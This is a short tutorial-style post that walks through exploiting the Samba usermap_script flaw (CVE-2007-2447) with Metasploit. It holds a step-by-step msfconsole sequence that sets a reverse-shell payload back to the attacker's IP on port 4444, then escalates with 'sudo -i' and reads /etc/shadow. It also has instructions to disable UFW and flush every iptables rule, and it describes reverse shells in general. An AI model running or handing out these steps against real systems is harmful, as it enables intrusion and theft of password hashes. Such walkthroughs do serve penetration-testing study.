Discover and Exploit Samba Vulnerabilities with Metasploit – CVE-2007-2447 Explained

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How to Discover Vulnerable Samba Shares with Metasploit 

Before you dive into the attack you have to be vulnerable so if you use Kali linux you have to disable your filewall as below. 

🔥 Using UFW (Uncomplicated Firewall)

Check if UFW is installed and active:

                        sudo ufw status

                        To disable the firewall:

                        sudo ufw disable

    To make sure it doesn’t auto-start on boot (optional):

            sudo systemctl disable ufw

 

🔥 Using iptables

To flush (clear) all rules and effectively disable the firewall:

            sudo iptables -F

            sudo iptables -X

            sudo iptables -t nat -F

            sudo iptables -t nat -X

            sudo iptables -t mangle -F

            sudo iptables -t mangle -X

            Set default policy to ACCEPT (no filtering):

            sudo iptables -P INPUT ACCEPT

            sudo iptables -P FORWARD ACCEPT

            sudo iptables -P OUTPUT ACCEPT

To make it persistent after reboot, you can install:

            sudo apt install iptables-persistent

            sudo netfilter-persistent save

 

✅ Check Status After Disabling

You can verify with:

            sudo iptables -L

            sudo ufw status

Why Reverse Shall is necessary for Discovery

A reverse shell is a hacking technique in which a compromised machine (the victim) initiates a connection back to the attacker’s system, giving the attacker control over the victim’s shell. This method is often used to bypass firewalls and NAT devices that block incoming connections but allow outbound traffic. The attacker typically sets up a listener on a specific IP and port (e.g., using Netcat), and then tricks the victim into executing a command that opens a shell and connects back to the attacker. Once the connection is established, the attacker gains remote access to the system through an interactive command line. Reverse shells can be created using various programming and scripting languages like Bash, Python, Perl, PHP, or PowerShell. This technique is commonly used in penetration testing and post-exploitation scenarios, allowing attackers to maintain access and perform further malicious actions. Proper network segmentation, firewall rules, and egress filtering are crucial to defend against such attacks.

Exploit Samba Vulnerabilities with Metasploit – CVE-2007-2447 Explained



⚔️ Attack : Samba Usermap Script (CVE-2007-2447)

Category: Remote Code Execution
Service: Samba
Port: 445

target- Reverse Shell

🔧 Steps:

Go To your Kali linux Terminal do step by step 

    msfconsole

        use exploit/multi/samba/usermap_script

        set RHOSTS <Target_IP>

        set PAYLOAD cmd/unix/reverse

        set LHOST <Your_IP>

        set LPORT 4444

        exploit

   Type  whoami

    sudo -i

    cat /etc/shadow


If you like can visite common vulnerable exposers sites for gathering more knowledge.

1. https://www.cve.org/

2. https://www.cvedetails.com/

3. https://cve.mitre.org/


 

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